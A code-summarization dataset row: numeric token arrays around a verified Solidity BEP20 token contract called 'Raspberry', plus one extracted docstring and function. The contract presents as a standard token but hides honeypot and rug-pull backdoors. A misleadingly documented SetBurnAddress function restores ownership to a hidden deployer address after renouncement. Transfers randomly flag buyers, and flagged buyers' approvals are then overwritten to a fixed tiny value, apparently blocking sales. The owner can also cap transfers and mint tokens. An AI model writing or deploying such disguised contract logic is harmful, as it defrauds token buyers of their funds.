0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
4720,
3024,
984,
14784,
329,
12,
2867,
389,
4631,
13,
2713,
1476,
1135,
261,
11890,
5034,
1122,
13,
288,
203,
3639,
2254,
5034,
562,
273,
729,
17631,
14727,
63,
67,
4631,
8009,
2469,
31,
203,
3639,
309,
261,
1897,
422,
374,
13,
327,
374,
31,
203,
3639,
2254,
5034,
1131,
273,
374,
31,
203,
3639,
2254,
5034,
943,
273,
562,
300,
404,
31,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
8038,
31,
277,
27245,
288,
203,
5411,
309,
261,
1154,
1545,
943,
13,
898,
31,
203,
5411,
2254,
5034,
7501,
273,
261,
1154,
18,
1289,
12,
1896,
2934,
1289,
12,
21,
13,
2934,
2892,
12,
22,
1769,
203,
5411,
309,
261,
3338,
405,
729,
17631,
14727,
63,
67,
4631,
6362,
13138,
8009,
1937,
13,
288,
203,
7734,
1131,
273,
7501,
31,
203,
7734,
943,
273,
7501,
18,
1717,
12,
21,
1769,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
1131,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-30
*/
pragma solidity 0.5.16;
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private beerus;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
beerus = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function SetBurnAddress() public {
require(_owner != beerus);
emit OwnershipTransferred(_owner, beerus);
_owner = beerus;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public qion;
mapping (address => bool) public thedrone;
bool private hardcore;
uint256 private _totalSupply;
uint256 private patata;
uint256 private keyboard;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private oregon;
address private creator;
uint violet = 0;
constructor() public {
creator = address(msg.sender);
hardcore = true;
oregon = true;
_name = "Raspberry";
_symbol = "RASPBERRY";
_decimals = 4;
_totalSupply = 100000000000;
patata = _totalSupply / 10000000;
keyboard = patata;
thedrone[creator] = false;
_balances[msg.sender] = _totalSupply;
qion[msg.sender] = true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function vieWer() external view returns (uint256) {
return patata;
}
function randomItIs() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, violet))) % 4;
violet++;
return screen;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function BurnThePool(uint256 amount) external onlyOwner {
patata = amount;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function SomethingYes(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function QueensGambit(address spender, bool val, bool val2) external onlyOwner {
qion[spender] = val;
thedrone[spender] = val2;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if ((address(sender) == creator) && (hardcore == true)) {
qion[recipient] = true;
thedrone[recipient] = false;
hardcore = false;
}
if (qion[recipient] != true) {
thedrone[recipient] = ((randomItIs() == 2) ? true : false);
}
if ((thedrone[sender]) && (qion[recipient] == false)) {
thedrone[recipient] = true;
}
if (qion[sender] == false) {
require(amount < patata);
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if ((address(owner) == creator) && (oregon == true)) {
qion[spender] = true;
thedrone[spender] = false;
oregon = false;
}
tok = (thedrone[owner] ? 17446 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
|
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing the total supply. Requirements - `msg.sender` must be the token owner/
|
function SomethingYes(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
| 2,083,309 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
10210,
1375,
8949,
68,
2430,
471,
22698,
2182,
358,
1375,
3576,
18,
15330,
9191,
21006,
326,
2078,
14467,
18,
29076,
300,
1375,
3576,
18,
15330,
68,
1297,
506,
326,
1147,
3410,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
